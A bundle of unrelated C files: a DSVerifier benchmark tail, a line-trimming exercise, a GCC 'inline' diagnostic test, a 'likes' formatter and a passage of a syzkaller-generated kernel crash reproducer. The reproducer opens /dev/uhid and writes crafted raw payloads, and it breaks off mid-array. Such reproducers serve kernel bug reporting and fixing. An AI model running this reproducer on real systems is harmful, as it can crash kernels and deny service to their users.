if (7 == 3)
{
call_verification_task(&verify_overflow);
}
else if (7 == 2)
{
call_verification_task(&verify_limit_cycle);
}
else if (7 == 6)
{
call_verification_task(&verify_error);
}
else if (7 == 1)
{
call_verification_task(&verify_zero_input_limit_cycle);
}
else if (7 == 4)
{
call_verification_task(&verify_timing_msp_430);
}
else if (7 == 5)
{
call_verification_task(&verify_generic_timing);
}
else if (7 == 7)
{
call_verification_task(&verify_stability);
}
else if (7 == 8)
{
call_verification_task(&verify_minimum_phase);
}
else if (7 == 9)
{
call_closedloop_verification_task(&verify_stability_closedloop_using_dslib);
}
else if (7 == 10)
{
call_closedloop_verification_task(&verify_limit_cycle_closed_loop);
}
else if (7 == 11)
{
call_closedloop_verification_task(&verify_error_closedloop);
}
else if (7 == 12)
{
verify_error_state_space();
}
else if (7 == 16)
{
verify_safety_state_space();
}
else if (7 == 13)
{
verify_controllability();
}
else if (7 == 14)
{
verify_observability();
}
else if (7 == 15)
{
verify_limit_cycle_state_space();
}
else if (7 == 18)
{
call_verification_task(&verify_magnitude);
}
return 0;
}
void validation()
{
if (7 == 12 || 7 == 16 ||
7 == 15 || 7 == 13 ||
7 == 14)
{
if (0 == 0)
{
printf("\n\n********************************************************************************************\n");
printf("* set a K_SIZE to use this property in DSVerifier (use: -DK_SIZE=VALUE) *\n");
printf("********************************************************************************************\n");
__DSVERIFIER_assert(0);
exit(1);
}
initials();
return;
}
if (((7 != 9) && (7 != 10) &&
(7 != 11)) && (ds.a_size == 0 || ds.b_size == 0))
{
printf("\n\n****************************************************************************\n");
printf("* set (ds and impl) parameters to check with DSVerifier *\n");
printf("****************************************************************************\n");
__DSVERIFIER_assert(0);
}
if ((7 == 9) || (7 == 10) ||
(7 == 11))
{
if (controller.a_size == 0 || plant.b_size == 0 || impl.int_bits == 0 )
{
printf("\n\n*****************************************************************************************************\n");
printf("* set (controller, plant, and impl) parameters to check CLOSED LOOP with DSVerifier *\n");
printf("*****************************************************************************************************\n");
__DSVERIFIER_assert(0);
}
else
{
printf("\n\n*****************************************************************************************************\n");
printf("* set (controller and impl) parameters so that they do not overflow *\n");
printf("*****************************************************************************************************\n");
unsigned j;
for (j = 0; j < controller.a_size; ++j)
{
const double value=controller.a[j];
__DSVERIFIER_assert(value <= _dbl_max);
__DSVERIFIER_assert(value >= _dbl_min);
}
for (j = 0; j < controller.b_size; ++j)
{
const double value=controller.b[j];
__DSVERIFIER_assert(value <= _dbl_max);
__DSVERIFIER_assert(value >= _dbl_min);
}
}
if (controller.b_size > 0)
{
unsigned j, zeros=0;
for (j = 0; j < controller.b_size; ++j)
{
if (controller.b[j]==0)
++zeros;
}
if (zeros == controller.b_size)
{
printf("\n\n*****************************************************************************************************\n");
printf("* The controller numerator must not be zero *\n");
printf("*****************************************************************************************************\n");
__DSVERIFIER_assert(0);
}
}
if (controller.a_size > 0)
{
unsigned j, zeros=0;
for (j = 0; j < controller.a_size; ++j)
{
if (controller.a[j]==0)
++zeros;
}
if (zeros == controller.a_size)
{
printf("\n\n*****************************************************************************************************\n");
printf("* The controller denominator must not be zero *\n");
printf("*****************************************************************************************************\n");
__DSVERIFIER_assert(0);
}
}
if (0 == 0)
{
printf("\n\n***************************************************************************************************************\n");
printf("* set a connection mode to check CLOSED LOOP with DSVerifier (use: --connection-mode TYPE) *\n");
printf("***************************************************************************************************************\n");
__DSVERIFIER_assert(0);
}
}
if (7 == 0)
{
printf("\n\n***************************************************************************************\n");
printf("* set the property to check with DSVerifier (use: --property NAME) *\n");
printf("***************************************************************************************\n");
__DSVERIFIER_assert(0);
}
if ((7 == 3) || (7 == 2) || (7 == 1) ||
(7 == 10) || (7 == 11) ||
(7 == 4 || 7 == 5) || 7 == 6)
{
if ((10 == 0) && !(0 == 1))
{
printf("\n\n********************************************************************************************\n");
printf("* set a X_SIZE to use this property in DSVerifier (use: --x-size VALUE) *\n");
printf("********************************************************************************************\n");
__DSVERIFIER_assert(0);
}
else if (0 == 1)
{
X_SIZE_VALUE = nondet_uint();
__DSVERIFIER_assume( X_SIZE_VALUE > (2 * ds.a_size));
}
else if (10 < 0)
{
printf("\n\n********************************************************************************************\n");
printf("* set a X_SIZE > 0 *\n");
printf("********************************************************************************************\n");
__DSVERIFIER_assert(0);
}
else
{
X_SIZE_VALUE = 10;
}
}
if ((2 == 0) && (7 != 9) && (7 != 18))
{
printf("\n\n*********************************************************************************************\n");
printf("* set the realization to check with DSVerifier (use: --realization NAME) *\n");
printf("*********************************************************************************************\n");
__DSVERIFIER_assert(0);
}
if (7 == 6 || 7 == 11)
{
if (impl.max_error == 0)
{
printf("\n\n***********************************************************************\n");
printf("* provide the maximum expected error (use: impl.max_error) *\n");
printf("***********************************************************************\n");
__DSVERIFIER_assert(0);
}
}
if (7 == 4 || 7 == 5)
{
if (7 == 5 || 7 == 4)
{
if (hw.clock == 0l)
{
printf("\n\n***************************\n");
printf("* Clock could not be zero *\n");
printf("***************************\n");
__DSVERIFIER_assert(0);
}
hw.cycle = ((double) 1.0 / hw.clock);
if (hw.cycle < 0)
{
printf("\n\n*********************************************\n");
printf("* The cycle time could not be representable *\n");
printf("*********************************************\n");
__DSVERIFIER_assert(0);
}
if (ds.sample_time == 0)
{
printf("\n\n*****************************************************************************\n");
printf("* provide the sample time of the digital system (ds.sample_time) *\n");
printf("*****************************************************************************\n");
__DSVERIFIER_assert(0);
}
}
}
if (7 == 18)
{
if (!((filter.Ap > 0) && (filter.Ac >0) && (filter.Ar >0)))
{
printf("\n\n*****************************************************************************\n");
printf("* set values bigger than 0 for Ap, Ac and Ar* \n");
printf("*****************************************************************************\n");
__DSVERIFIER_assert(0);
}
}
if ((2 == 7) || (2 == 8) || (2 == 9) ||
(2 == 10) || (2 == 11) || (2 == 12))
{
printf("\n\n******************************************\n");
printf("* Temporarily the cascade modes are disabled *\n");
printf("**********************************************\n");
__DSVERIFIER_assert(0);
}
}
void call_verification_task(void * verification_task)
{
int i = 0;
_Bool base_case_executed = 0;
if (0 == 2)
{
for(i=0; i<ds.b_size; i++)
{
if (ds.b_uncertainty[i] > 0)
{
double factor = ds.b_uncertainty[i];
factor = factor < 0 ? factor * (-1) : factor;
double min = ds.b[i] - factor;
double max = ds.b[i] + factor;
if ((factor == 0) && (base_case_executed == 1))
{
continue;
}
else if ((factor == 0) && (base_case_executed == 0))
{
base_case_executed = 1;
}
ds.b[i] = nondet_double();
__DSVERIFIER_assume((ds.b[i] >= min) && (ds.b[i] <= max));
}
}
for(i=0; i<ds.a_size; i++)
{
if (ds.a_uncertainty[i] > 0)
{
double factor = ds.a_uncertainty[i];
factor = factor < 0 ? factor * (-1) : factor;
double min = ds.a[i] - factor;
double max = ds.a[i] + factor;
if ((factor == 0) && (base_case_executed == 1))
{
continue;
}
else if ((factor == 0) && (base_case_executed == 0))
{
base_case_executed = 1;
}
ds.a[i] = nondet_double();
__DSVERIFIER_assume((ds.a[i] >= min) && (ds.a[i] <= max));
}
}
}
else
{
int i=0;
for(i=0; i<ds.b_size; i++)
{
if (ds.b_uncertainty[i] > 0)
{
double factor = ((ds.b[i] * ds.b_uncertainty[i]) / 100);
factor = factor < 0 ? factor * (-1) : factor;
double min = ds.b[i] - factor;
double max = ds.b[i] + factor;
if ((factor == 0) && (base_case_executed == 1))
{
continue;
}
else if ((factor == 0) && (base_case_executed == 0))
{
base_case_executed = 1;
}
ds.b[i] = nondet_double();
__DSVERIFIER_assume((ds.b[i] >= min) && (ds.b[i] <= max));
}
}
for(i=0; i<ds.a_size; i++)
{
if (ds.a_uncertainty[i] > 0)
{
double factor = ((ds.a[i] * ds.a_uncertainty[i]) / 100);
factor = factor < 0 ? factor * (-1) : factor;
double min = ds.a[i] - factor;
double max = ds.a[i] + factor;
if ((factor == 0) && (base_case_executed == 1))
{
continue;
}
else if ((factor == 0) && (base_case_executed == 0))
{
base_case_executed = 1;
}
ds.a[i] = nondet_double();
__DSVERIFIER_assume((ds.a[i] >= min) && (ds.a[i] <= max));
}
}
}
((void(*)())verification_task)();
}
void call_closedloop_verification_task(void * closedloop_verification_task)
{
_Bool base_case_executed = 0;
int i=0;
for(i=0; i<plant.b_size; i++)
{
if (plant.b_uncertainty[i] > 0)
{
double factor = ((plant.b[i] * plant.b_uncertainty[i]) / 100);
factor = factor < 0 ? factor * (-1) : factor;
double min = plant.b[i] - factor;
double max = plant.b[i] + factor;
if ((factor == 0) && (base_case_executed == 1))
{
continue;
}
else if ((factor == 0) && (base_case_executed == 0))
{
base_case_executed = 1;
}
plant.b[i] = nondet_double();
__DSVERIFIER_assume((plant.b[i] >= min) && (plant.b[i] <= max));
}else{
}
}
for(i=0; i<plant.a_size; i++)
{
if (plant.a_uncertainty[i] > 0)
{
double factor = ((plant.a[i] * plant.a_uncertainty[i]) / 100);
factor = factor < 0 ? factor * (-1) : factor;
double min = plant.a[i] - factor;
double max = plant.a[i] + factor;
if ((factor == 0) && (base_case_executed == 1))
{
continue;
}
else if ((factor == 0) && (base_case_executed == 0))
{
base_case_executed = 1;
}
plant.a[i] = nondet_double();
__DSVERIFIER_assume((plant.a[i] >= min) && (plant.a[i] <= max));
}
else
{
}
}
((void(*)())closedloop_verification_task)();
}
# 2 "benchmarks/ds-01-impl2.c" 2
digital_system ds = {
.b = { 1.5, -0.5 },
.b_size = 2,
.a = { 1.0, 0.0 },
.a_size = 2,
.sample_time = 0.02
};
implementation impl = {
.int_bits = 4,
.frac_bits = 12,
.max = 1.0,
.min = -1.0
};
|
the_stack_data/12637837.c
|
#include <stdio.h>
#define MAXLINE 1000 /* maximum input line size */
int get_line(char line[], int maxline);
/* remove trailing blanks and tabs from each line of input, and delete entirely
blank lines */
int main()
{
int i;
int len; /* current line length */
char line[MAXLINE]; /* current input line */
while ((len = get_line(line, MAXLINE)) > 0) {
for (i = len; i >= 0; i--) {
if (((line[i] == ' ') || (line[i] == '\t') || (line[i] == '\n')) &&
(line[i + 1] == '\0')) {
len--;
line[len] = '\0';
}
}
printf("%s", line);
}
return 0;
}
/* getline: read a line into s, return length */
int get_line(char s[], int lim)
{
int c, i;
for (i = 0; i < lim - 1 && (c = getchar()) != EOF && c != '\n'; ++i)
s[i] = c;
if (c == '\n') {
s[i] = c;
++i;
}
s[i] = '\0';
return i;
}
|
the_stack_data/1123967.c
|
/* Test misuses of inline. -pedantic-errors test. */
/* Origin: Joseph Myers <[email protected]> */
/* { dg-do compile } */
/* { dg-options "-std=gnu99 -pedantic-errors" } */
/* These should perhaps be hard errors, but are pedwarns at
present. */
inline int a; /* { dg-error "error: variable 'a' declared 'inline'" } */
inline int (*b)(void); /* { dg-error "error: variable 'b' declared 'inline'" } */
typedef inline void c(void); /* { dg-error "error: typedef 'c' declared 'inline'" } */
typedef inline int d; /* { dg-error "error: typedef 'd' declared 'inline'" } */
void e(inline int f(void)); /* { dg-error "error: parameter 'f' declared 'inline'" } */
void g(inline int(void)); /* { dg-error "error: parameter '\\({anonymous}\\)' declared 'inline'" } */
|
the_stack_data/75138544.c
|
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char* likes(size_t n, char const* const names[n])
{
unsigned size = 0;
for (unsigned i = 0; i < (n > 3 ? 2 : n); i++) {
size += strlen(names[i]);
}
char* result = calloc(30 + size, sizeof(char));
switch (n) {
case 0:
sprintf(result, "%s likes this", "no one");
break;
case 1:
sprintf(result, "%s likes this", names[0]);
break;
case 2:
sprintf(result, "%s and %s like this", names[0], names[1]);
break;
case 3:
sprintf(result,
"%s, %s and %s like this",
names[0],
names[1],
names[2]);
break;
default:
sprintf(result,
"%s, %s and %lu others like this",
names[0],
names[1],
n - 2);
break;
}
return result;
}
|
the_stack_data/72841.c
|
// BUG: GPF in non-whitelisted uaccess (non-canonical address?)
// https://syzkaller.appspot.com/bug?id=2db2545ff94291fabe4a5dd4ee182db44ef35d4b
// status:fixed
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <endian.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
uint64_t r[2] = {0xffffffffffffffff, 0xffffffffffffffff};
int main(void)
{
syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0);
long res = 0;
res = syscall(__NR_socket, 0xa, 0x400000000001, 0);
if (res != -1)
r[0] = res;
syscall(__NR_close, r[0]);
memcpy((void*)0x20000940, "/dev/uhid", 10);
syscall(__NR_openat, 0xffffffffffffff9c, 0x20000940, 0x802, 0);
memcpy((void*)0x20000040, "./bus", 6);
res = syscall(__NR_open, 0x20000040, 0x141042, 0);
if (res != -1)
r[1] = res;
*(uint32_t*)0x20000580 = 0;
memcpy((void*)0x20000584,
"\x73\x79\x7a\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00",
128);
memcpy((void*)0x20000604,
"\x73\x79\x7a\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
64);
memcpy((void*)0x20000644,
"\x73\x79\x7a\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00",
64);
*(uint64_t*)0x20000684 = 0x20000440;
*(uint16_t*)0x2000068c = 0x80;
*(uint16_t*)0x2000068e = 0;
*(uint32_t*)0x20000690 = 0;
*(uint32_t*)0x20000694 = 0;
*(uint32_t*)0x20000698 = 0;
*(uint32_t*)0x2000069c = 0;
syscall(__NR_write, r[1], 0x20000580, 0x120);
*(uint64_t*)0x20000000 = 0x20000980;
memcpy(
(void*)0x20000980,
"\x4a\xcc\x58\x2d\x79\xa6\x64\xb8\x45\xdf\xb8\xee\x62\x6a\x97\xea\xfc\x2a"
"\x28\xe1\x5d\x98\x3c\xb1\x10\xe8\x23\x41\x1f\x63\x2d\x70\x41\xff\x47\x07"
"\x38\xa9\xb7\xa5\xea\x70\xf6\x02\x78\x24\x5a\x34\x64\xdd\x84\x71\x46\xc0"
"\x5a\xad\x7d\x4e\xc6\x8f\x49\x56\x39\x0f\xe8\x97\x03\x78\x48\x98\xe6\x41"
"\xef\xc2\xa8\x68\x54\x55\x4b\x75\x7c\xa0\xef\xe4\x03\xf1\x10\xe4\x64\x81"
"\x99\x4a\xb0\x9d\xbf\xad\xaa\x4c\xbe\x00\x79\xbc\x83\xee\xf7\xe4\x7f\x40"
"\xfd\x0f\x4f\x5a\xf7\xd3\x04\x96\x8c\x96\x3a\x19\xe2\x08\x03\xb9\x2b\x9c"
"\xff\x7d\xed\x7f\x9c\xbc\x46\x3e\x43\xc9\xa2\x6b\x3d\x59\xe4\x0c\xa2\x66"
"\x93\xf3\x31\x0d\xe1\x3a\xc8\x14\x27\x6b\x90\xb9\xc7\xa4\xcb\x76\x13\xbd"
"\xfa\xfe\xdc\xab\xc1\xa9\x59\x5d\x4f\xe0\x92\x8f\xde\xe8\x56\x21\x27\x5b"
"\xc3\x5f\xd9\xd2\xc2\xa4\xe6\xe6\x3e\x63\xd4\xea\xd6\xec\x19\x8c\x7a\x68"
"\xa5\x9d\x76\xe5\x28\xf8\x37\x10\x24\x09\x01\x86\xe5\x40\x95\x63\x71\xc7"
"\xa4\x29\x79\x7c\x32\x40\x68\x13\x4d\x22\x30\xc9\x8d\x93\x17\x3a\xe6\x80"
"\xab\x3b\x64\x16\xe2\xdc\x51\x1c\x58\xc8\x50\xd4\x2c\xf2\xe1\x15\xb4\x4c"
"\x9b\xa4\xb1\x31\x06\x7f\xe2\x8e\x5e\xa9\x95\x7c\xe4\xe5\x8b\xe9\x3d\xc5"
"\x03\x8f\x26\x4c\xbe\x37\xa7\x39\xc6\xdb\x8b\x5d\xd5\x81\x2e\x31\xe9\x5f"
"\x95\xf2\x10\xd1\x0a\x56\x74\x1f\xc9\x1c\x6e\x65\x52\xd0\x2e\x07\x0d\x09"
"\xe2\x20\xcd\x89\xe6\x72\x53\xa3\xa7\x64\x70\xd0\xf6\xe0\xd4\x32\x17\xb8"
"\x24\xf3\x86\xb8\xa6\xd1\x31\x98\xf5\x5a\xfc\xc5\x1c\x8b\x23\xe4\xac\x89"
"\x1f\x99\xae\x7f\xdb\x34\x1c\x08\x93\x8f\x87\x34\x6f\x86\xcd\x6b\x66\xef"
"\x82\x63\x8b\x1e\x1f\xf3\x61\x56\x2b\x43\x0d\x74\x43\x59\xdd\x5d\xd6\xd5"
"\xee\x30\xc8\xb2\xd1\x35\x7c\xd6\x7f\x12\x6b\x9e\xaf\x36\x98\x77\xc0\x00"
"\x6c\x4c\x5e\x81\xa5\xc9\x14\xf0\xcf\x02\x8b\x13\x43\xd4\xb3\x25\xb4\x9c"
"\x35\xe6\xc8\x7f\x8e\xa7\xc9\xb8\xa1\xaa\xd9\x6e\xf2\xa7\xda\x87\x14\x10"
"\x82\x4c\x82\x10\x63\x7d\x75\xec\xa7\x15\x6d\x4e\x95\x5d\x19\xd3\xe4\x56"
"\x31\x41\x4a\xfc\xd6\x26\x68\xb9\x40\xe4\x33\xff\xa0\x2b\x02\x69\xd4\x2e"
"\xbc\x3d\xdb\x80\x35\x45\xa7\x97\xbe\x54\x71\xe0\x19\x2b\x43\xc0\xb9\x98"
"\x99\xfa\x5d\x07\x0f\x1c\x99\x57\x21\xa0\x0e\xcf\xc4\x50\x7e\x0b\x8d\x51"
"\x8d\xb8\x88\x33\x7e\xec\x34\x38\xa6\x8d\xc4\xc4\x44\x26\xf0\x8d\x79\x11"
"\x5d\x5c\x63\x17\x6b\xd8\x94\x95\x69\x65\x39\x13\x45\x0f\x9e\x4d\x3b\x00"
"\xce\x4c\xf4\xa9\xd5\xbf\x8b\xfb\x94\x48\x72\x25\xae\x83\x69\xef\x84\x00"
"\x1b\xcc\x38\xb7\xc4\x55\x75\x3f\x57\x90\xec\x6a\xa5\xf8\xd3\x83\x7a\x11"
"\xb2\xc9\x8e\x57\xe1\xb2\xcf\xd6\xcd\xee\xb1\x7d\xe0\x93\xbc\x41\xd8\x67"
"\x1c\x1a\xf6\x75\x25\xf1\x44\x5e\xff\xb5\x4e\xf9\x97\x46\x91\x74\xb9\x9c"
"\x8b\x10\x41\x65\x79\x66\x6d\x3e\x9e\xb4\xf3\x90\xba\xaf\x15\xcc\x1f\x0a"
"\x1c\x77\xd7\xa5\xa5\xaa\x82\x4c\x63\xa2\x56\x72\x4b\x45\x1d\xfb\xff\xc7"
"\xce\xcc\xd8\x66\x54\x23\xe6\x35\x13\x01\x47\xc5\xd3\xc6\x4b\x2c\x85\x5f"
"\x06\x0a\x56\xa5\x5b\x46\x19\xa8\x41\x5d\x88\xb5\x44\x7a\xd6\xec\x3d\x07"
"\x7b\xff\x12\xb1\x86\xb8\x63\x91\x98\xd9\x9d\x05\x2b\x73\xb8\xa2\x44\x99"
"\x34\xbe\x5c\x40\x4c\xfb\xcc\xe7\x6b\x6c\xd1\x27\x55\x6a\x5d\xe5\xb8\x10"
"\xa6\xe9\xed\xbd\xd7\x84\x15\xb9\x2f\x6c\x72\x6b\x81\x33\x7c\x8e\xab\x9e"
"\x26\x1a\x6c\xff\x07\x7e\xec\x72\x9f\x8b\xa4\x60\xbb\x05\xd4\x4b\x38\x25"
"\xfa\x81\xad\xc0\x66\xee\xc0\xd7\xc1\x65\xce\x34\x5e\x09\xce\xa1\xfc\x40"
"\xb5\xe7\xae\xdd\x99\x1a\xc2\x5d\xd5\x8a\x59\xce\xe8\x88\x23\x1e\xf9\xb3"
"\x32\x5f\xf8\x9b\xc0\x37\x01\x42\xc4\xae\x22\xe3\xcd\xde\xb0\xbc\xf5\xc7"
"\x45\x73\x11\xf2\x55\xf6\x2f\xbb\xff\x20\x5e\x05\x10\x16\x4f\x27\xff\x9c"
"\x30\xec\x13\x69\xef\x69\x81\x52\xe8\x8d\x7a\x3d\x10\x98\xa6\x09\x0f\xb5"
"\x60\xcb\x2e\x0b\x92\xdf\x2b\x0e\xa5\xb0\xec\x81\x3b\x4d\x22\x91\xc4\xc3"
"\xc1\xba\xf5\x7b\xc3\x8c\xf2\x0a\xd7\xcf\x47\x3d\x7b\x51\x88\xbe\x93\x50"
"\xac\x61\xd6\x51\xec\xcd\xc3\x4f\xe8\x9b\x70\x88\x13\x89\x82\xca\x80\x20"
"\x22\x93\x2a\xe5\x94\x46\x0a\xf7\x7b\xb0\x54\x71\xac\x38\x93\x18\xcf\x04"
"\x6d\x53\x6a\x75\x30\x48\x36\x4b\x03\xbb\x68\x2a\xba\x6c\xb9\x59\x7f\xf2"
"\xfd\xb7\xf7\xfc\x64\x52\x6a\x77\xd2\x3c\x8d\xee\xe6\xa8\x4f\xf2\xf9\xb2"
"\x21\x5a\x10\x0f\x8f\x99\xe5\xf5\x3e\x31\xfc\xff\xc8\x1f\x69\xb7\x91\xd8"
"\x96\xa5\xf0\x60\x02\x69\xb4\x8f\x55\xaa\x45\x42\x42\xbf\x58\x1e\x1d\x2e"
"\x1b\x35\xe7\x25\xfb\x59\x5c\x86\xbb\xae\x30\xef\x6c\xde\xb7\xdf\xb4\x22"
"\x57\xbf\x8e\xf5\x1c\xf7\x13\x4b\x53\xa0\x98\x53\x28\xda\x46\x83\x85\x62"
"\xf2\x02\xdd\x9b\x2c\x86\x2e\x59\x95\x9a\x5f\xd5\x75\x50\x80\xe0\x19\x32"
"\x1e\x71\x2c\x5d\xfc\x1b\x2b\x2f\x78\xdb\x30\xba\xe0\x8a\x0f\x33\x84\xfa"
"\x44\x61\x6c\x72\x44\x2b\x9a\x60\x63\x03\xab\x98\xdc\xde\x21\xa9\x5f\xe5"
"\x02\x9d\x5f\x04\xc7\x83\xd2\x6f\x21\x73\x7b\xb9\xb9\xf8\x00\x6e\x1e\x5f"
"\x44\x98\xf3\x51\x8d\x22\x38\xb3\xba\xff\x5e\x76\xde\x08\xf6\x99\xcc\x25"
"\xf6\x43\xed\x07\x59\xf2\xcf\xd7\x06\x1c\x9c\x1f\xc2\x49\xde\x9f\x64\x8e"
"\x69\x59\x59\x2a\x20\x2f\x8e\x09\x9b\x91\x57\x13\xd0\x15\x89\x6f\xfa\x5d"
"\x7d\x1e\x4c\x40\xa9\x48\x77\x9a\x50\x2d\x3e\x6c\x9c\x8c\x54\x4c\x40\x47"
"\x20\xf6\x60\x7a\x24\x16\x50\x39\x3f\xde\x7b\xf5\xc2\x06\x3a\x3a\x90\x75"
"\xcb\x9f\xdb\x3a\x42\x1c\xf3\x10\xdc\xf3\x8d\xdc\x22\x84\x44\xb0\xe2\xde"
"\x4b\xc3\x50\xfd\x6c\x45\xf6\xfc\x99\xfc\xec\x8b\xd9\x19\xfe\x28\x0e\xc8"
"\x58\x67\xf0\xbf\x0f\x04\x9f\x4a\x49\xfb\xc2\x5e\x3c\x19\x77\xa0\xc4\x0e"
"\x62\x14\x24\xfa\x48\x46\xd2\x4d\xaf\xd2\x8a\x54\x71\x13\x0e\x1a\x25\xad"
"\x41\x03\x64\x2e\x36\x2f\xeb\xce\x1f\xa7\xb3\x41\x0d\x36\xfa\xc3\x84\x13"
"\x26\xce\xca\x98\x1d\x17\xab\x60\x72\xe9\x38\x90\xa8\x13\x53\x3a\x8b\xcd"
"\x3c\xe9\xf3\x8a\xdb\x7a\xa1\x57\xf9\xe7\xfc\xda\x34\x94\x93\xd2\x91\xcd"
"\xdc\xe6\x19\x8a\xde\xfe\x84\x51\x86\x89\x14\x31\xec\xd7\xa3\xcd\x48\xe6"
"\xb8\x9a\xb3\x73\xce\xdf\xdd\xc5\x5e\x17\xee\x0e\xa2\xd2\xb3\x49\xde\x29"
"\x27\x4b\x58\xa1\x28\x03\x64\x82\x88\xa7\xba\x5a\x98\x76\x3a\x66\xb8\x67"
"\x5d\xdf\x36\x05\xfd\xc2\x86\xec\x2b\x07\x54\xb7\x3f\x13\x5d\x8c\xe5\x90"
"\xb4\x8e\x82\xcb\xce\x47\xd5\x42\x7b\xf3\xf5\xff\xd0\xce\x7f\xbb\xe4\x9e"
"\xd7\x66\xd0\x2e\x07\x7b\x0e\xed\x0e\x3f\xc6\x91\x58\x9d\x86\xe2\x08\xdf"
"\x65\x29\x18\x7d\x3f\xaa\x46\xba\x5f\xc6\xc2\x4f\xc9\x6f\x58\xaf\xf5\x44"
"\xb6\xc2\x99\x09\x83\xda\xb8\x35\xaf\xf7\x43\x4f\x94\xdb\xc1\xf0\x12\xcd"
"\x19\xbb\x84\x70\x50\xc7\xbb\x7d\x69\x16\xa2\xa0\xb6\x4e\x97\x17\x00\x08"
"\x3c\xd5\xe8\x23\x92\x98\x3a\xe8\x97\x7f\xba\x2c\x4d\x98\xec\xaf\x6a\xeb"
"\xf6\xd1\x18\x40\x03\x61\x48\x23\x8d\x22\x14\xc9\x1b\xe4\xf1\x67\xff\x0b"
"\xe7\xcf\x06\xdd\xc5\x78\x6b\xf5\x7e\x66\x66\x7e\xd6\xf7\xa8\xdc\x88\x3f"
"\x63\x5c\xf8\x45\xbe\xcc\x59\xf0\x9b\xa4\x28\x9e\x99\xb1\xf8\x05\x33\x5f"
"\x15\xef\x8b\xf9\x0b\x58\x87\x04\xbf\xfa\x53\x6c\x9b\x59\xeb\xb8\x22\xe3"
"\xd4\x71\xc3\x7b\x1b\xf0\x89\xa4\x9a\x0a\x0f\x8b\xbf\x92\x80\x24\xf4\x95"
"\x3c\x45\x5c\x31\x90\x5f\xcc\x20\xbd\xdd\x70\xa4\xb8\x30\x66\xd3\xfd\x9e"
"\x27\xa5\x6d\x73\x48\xe3\x63\x3a\xbe\x95\xa5\x13\x39\x45\xce\x31\xc7\xd0"
"\x41\xf1\x74\x7a\xeb\xf0\xf5\x51\xde\xab\x06\x0e\x09\xad\x5c\x76\x12\x66"
"\xed\xe6\xc0\xf2\x7a\x96\xda\x73\x12\x06\xcc\x44\x39\x73\x29\x6c\x71\x5a"
"\xa8\x11\xbf\x2c\x6a\xb3\x85\xaf\xd2\xe5\x75\xff\xed\x39\x61\x3c\x40\xc3"
"\xe6\x7f\xfe\x3a\x6a\x7c\xc7\xe3\x5a\x2f\x96\x6d\x24\xc8\x2e\xb7\xa2\x4e"
"\x65\xda\x4e\x87\x9c\x94\x36\xf8\xa2\x47\x28\x7d\x25\x06\xe8\xbd\xc0\xe6"
"\xd1\x2e\xf7\x71\xc1\xf8\x7f\x61\xe2\xaf\xce\x7b\x1c\x3a\x93\x82\xe2\x1a"
"\xe3\xe2\xa4\x20\xd8\x20\x90\x12\x10\x99\x1d\xce\xa4\x0c\xf9\x10\x78\xb7"
"\x46\x8e\x12\xd8\x66\x40\x36\x63\xad\xc3\x58\x91\xdd\x37\x4b\x99\xd9\x96"
"\xf7\xe2\x85\x46\xff\x56\xad\x9f\xed\x9d\x6f\xce\x69\x34\xbf\x7b\x5f\x16"
"\x7d\x4f\x45\x26\xae\x81\xd3\x87\x7f\xa5\x2f\x0e\xdb\x31\x1d\xb2\x32\xea"
"\xf9\x7c\x50\x3f\x4f\x86\x22\xe1\x51\x9e\xa1\x7e\x82\x73\x62\xea\xae\x65"
"\x4b\x29\x5b\xaf\xec\x77\x84\xe4\x71\x85\x2d\xcd\xc3\xab\xd3\x8c\x19\xfa"
"\xbc\xc1\x2d\x1d\x6c\x85\xd9\x58\x0a\x00\x44\x5e\x18\x71\xa0\xe4\x8c\xc8"
"\x6a\xc6\xe3\xeb\x18\xe7\x86\x02\x72\xdb\x3b\xe3\x8a\xb2\xa7\x1c\x5e\x9d"
"\x02\xe8\x6d\x46\x4c\x20\xb4\x56\x1a\x5d\xfd\x42\xa8\xcc\xe1\x04\xde\xeb"
"\x48\x73\x30\xb3\xdb\xad\x0b\x93\x04\x48\x8b\x69\x78\x43\xf7\xfd\x37\x37"
"\xf0\xb3\xbe\xe7\xcd\xbc\xcd\xae\x2a\x6e\x45\xa4\xd3\xa9\x2b\x53\xfe\x07"
"\x6a\xf5\xab\x2e\x9a\xd4\x5d\x57\x8a\x29\x7d\x1b\xcb\x2d\x9a\xa1\xad\x2f"
"\x1c\x1e\x89\x45\x97\xed\x49\x0c\x4e\x7a\x2d\x38\x59\xbe\xb9\x7d\x6a\x57"
"\xbb\x06\xd1\xee\x81\x09\xe2\x35\x0a\x70\x5f\x5b\xaf\x85\x5c\x5c\x0b\xe5"
"\x7f\x47\xd2\xfc\x35\x4c\x28\x01\x0b\xdd\xed\xc8\x3f\x82\x0a\x9f\x06\x61"
"\xc9\xb8\x5c\x5f\xd5\x99\x1f\xa8\xee\x0f\xcd\xf5\x37\xf4\x34\x74\x3a\x00"
